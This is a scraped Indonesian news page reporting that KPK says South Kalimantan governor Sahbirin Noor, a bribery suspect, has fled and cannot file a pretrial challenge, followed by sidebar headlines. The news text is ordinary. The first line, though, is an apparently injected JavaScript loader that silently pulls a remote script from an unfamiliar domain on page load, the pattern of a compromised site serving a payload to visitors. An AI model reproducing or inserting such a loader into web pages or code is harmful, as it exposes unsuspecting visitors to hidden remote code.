(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Keberadaan Masih Misterius, KPK: Tersangka Sahbirin Noor Telah Kabur


KANALKALIMANTAN.COM, JAKARTA – Komisi Pemberantasan Korupsi (KPK) mengaku masih belum mengetahui keberadaan Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor (SHB). Sosok yang akrab disapa Paman Birin itu sebelumnya telah menjadi tersangka dalam kasus dugaan suap terkait proyek di Kalsel.

Pengakuan KPK itu sempat disampaikan dalam sidang praperadilan Sahbirin Noor yang menggugat penetapan dirinya sebagai tersangka, Selasa (5/11/2024) lalu.

“Dalam sidang tersebut, KPK menyampaikan hingga saat persidangan ini berlangsung, SHB tidak diketahui keberadaannya, meskipun KPK telah melakukan upaya pencarian ke beberapa lokasi,” kata anggota Juru Bicara KPK, Budi Prasetyo, Rabu (6/11/2024).

Baca juga: Paman Birin Hilang, KPK Rilis Surat Perintah Penangkapan

Padahal, KPK menyebut Sahbirin telah menerima Surat Pemberitahuan Dimulainya Penyidikan (SPDP). Namun, yang bersangkutan tetap tidak menampakkan diri ke publik.

Di lain sisi, KPK telah menggeledah sejumlah lokasi. Lembaga antikorupsi itu menduga ada lokasi-lokasi yang dimanfaatkan Sahbirin sebagai tempat persembunyian antara lain kantor, rumah dinas, hingga rumah pribadinya.

Ditambah lagi, Sahbirin tidak menjalankan aktivitas sehari-harinya di kantor selaku Gubernur Kalsel yang menjadi tugas dan tanggung jawabnya meski belum ditahan. Atas dasar itu, KPK berkesimpulan Sahbirin telah kabur.

Baca juga: Pembawa Kabur Uang Honor KPPS di Balangan Divonis 3 Tahun

“Kondisi ini menunjukkan SHB selaku tersangka secara jelas telah melarikan diri atau kabur, yaitu sejak dilakukan serangkaian tindakan tangkap tangan oleh KPK pada 6 Oktober 2024,” ungkap Budi.

Selain itu, KPK telah mengeluarkan surat perintah penangkapan dan larangan bepergian ke luar negeri atas nama Sahbirin Noor per 7 Oktober 2024 lalu. Mengingat Sahbirin kabur, KPK menilai yang bersangkutan tidak dapat mengajukan praperadilan.

“Oleh karena SHB selaku tersangka yang telah melarikan diri dan tidak diketahui keberadaannya, tidak memiliki kapasitas dan tidak dapat (dilarang) mengajukan permohonan praperadilan (diskualifikasi in person),” ungkap Budi.

Baca juga: PK Mardani Maming Dikabulkan MA, Hukuman 12 Tahun Berkurang Dua Tahun

“Dengan ini permohonan praperadilan yang diajukan oleh pemohon SHB harus dinyatakan tidak dapat diterima oleh hakim praperadilan, sebagaimana ketentuan SEMA Nomor 1/2018,” sambungnya.

KPK memandang praperadilan oleh Sahbirin yang kini kabur mengandung cacat formil. Untuk itu, sudah tepat jika praperadilannya ditolak atau dinyatakan tidak dapat diterima. (Beritasatu.com/kk)

Editor: kk


Muhammad Andi

Recent Posts

KPK Sebut Paman Birin Tak Lakukan Tugas Sebagai Gubernur Kalsel

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyebut Gubernur Kalimantan Selatan Sahbirin Noor alias Paman… Read More

60 menit ago

Pembawa Kabur Uang Honor KPPS di Balangan Divonis 3 Tahun

KANALKALIMANTAN.COM, BANJARMASIN - Staf Sekretariat Kelurahan Batu Piring yang membawa kabur uang honor anggota Kelompok… Read More

3 jam ago

Baru Bebas dari Lapas Narkotika, Residivis Kembali Ditangkap Miliki 100 Gram Sabu

KANALKALIMANTAN.COM, BANJARBARU - Kepolisian Sektor (Polsek) Cempaka menggagalkan peredaran gelap narkotika di Ibu Kota Provinsi… Read More

10 jam ago

Sosialisasi Kerja Sama Daerah untuk Percepat Pembangunan di Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebuah kegiatan sosialisasi tentang Kerja Sama Daerah di Lingkungan Pemerintah Kabupaten Banjar,… Read More

10 jam ago

Bedah Buku Pendidikan dan Sejarah Islam Dispersip Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) menggelar kegiatan bedah… Read More

13 jam ago

Paman Birin Hilang, KPK Rilis Surat Perintah Penangkapan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menerbitkan Surat Perintah Penangkapan (Sprinkap) lantaran Gubernur Kalimantan… Read More

13 jam ago

This website uses cookies.